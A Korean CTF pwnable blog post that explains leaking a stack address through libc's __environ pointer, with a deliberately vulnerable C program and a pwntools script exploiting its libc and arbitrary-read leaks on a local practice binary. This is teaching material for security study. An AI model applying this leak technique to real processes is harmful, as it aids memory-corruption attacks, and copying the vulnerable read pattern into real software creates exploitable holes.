-
Stack address leakCTF/PWNABLE 2021. 1. 14. 20:43
CONSTRAINT 제약 조건
- Libc base address (environ ptr의 주소를 구하기 위해)
- Arbitary address content leak (environ ptr에 저장된 환경 변수의 위치를 구하기 위해)
PRELIMINARY 서론
환경 변수는 운영 체제나 마이크로 서비스에 내장된, 프로그램 바깥에 설정된 변수이다. 이러한 변수들은 (name, value) 쌍으로 존재하는데, 프로세스가 시작할 때 불려와 리눅스 상의 사용자 주소 공간에 저장되었다가 런타임에 name이 value로 치환되는 방식으로 작동한다. [1][2]
이러한 환경 변수들은 main 함수 argc, argv 인자들과 함께 스택에 저장되는데, 이렇게 스택 상에 존재하는 환경 변수의 위치를 라이브러리에 있는 environment pointer가 담고 있다.
gdb를 통해 environ ptr의 주소를 찾아보니 0x7fffffffe1a8이다. 해당 주소에는 0x7fffffffe414라는 또다른 주소가 저장되어 있고, 그곳에는 익숙한 모습의 환경 변수들이 문자열 형태로 존재함을 확인할 수 있다. 중요한 사실은 environ ptr은 libc 상에 존재하고, 이를 통해 스택에 위치하는 환경 변수들의 주소를 알아낼 수 있다는 것이다. 따라서 environ ptr의 주소를 알아낸 후 그곳에 저장된 값을 알아낸다면 스택 주소를 leak할 수 있다.
METHOD 방법
Libc base address를 알 수 있고, 원하는 주소의 값을 알아낼 수 있다면 stack address leak이 가능하고, 이를 통해 다양한 공격을 시도할 수 있다.
int main() { long addr; long value; printf("stdout: %p\n", stdout); // libc address leak printf("addr: "); scanf("%ld", &addr); value = *(long *)addr; printf("value: "); printf("%ld", value); // arbitary address content leak return 0; }
위 예제에 대한 코드는 다음과 같다.
Code
더보기from pwn import * context.log_level = 'debug' p = process("./l0tus") e = ELF("./l0tus") l = ELF("./libc.so.6") p.recvuntil("stdout: ") stdout = int(p.recv(14), 16) libc = stdout - l.symbols["_IO_2_1_stdout_"] environ = libc + l.symbols["__environ"] p.sendlineafter("addr: ", str(environ)) p.recvuntil("value: ") stack_environ = int(p.recv()) p.interactive()
Reference
[2] medium.com/chingu/an-introduction-to-environment-variables-and-how-to-use-them-f602f66d15fa
'CTF > PWNABLE' 카테고리의 다른 글
Problemset 문제 모음 (0) 2021.01.21 Introduction to pwnable 시스템해킹 개론 (0) 2021.01.20 RTL(Return-to-libc) (0) 2021.01.16 hook Overwrite (0) 2021.01.14 RET Overwrite (0) 2021.01.08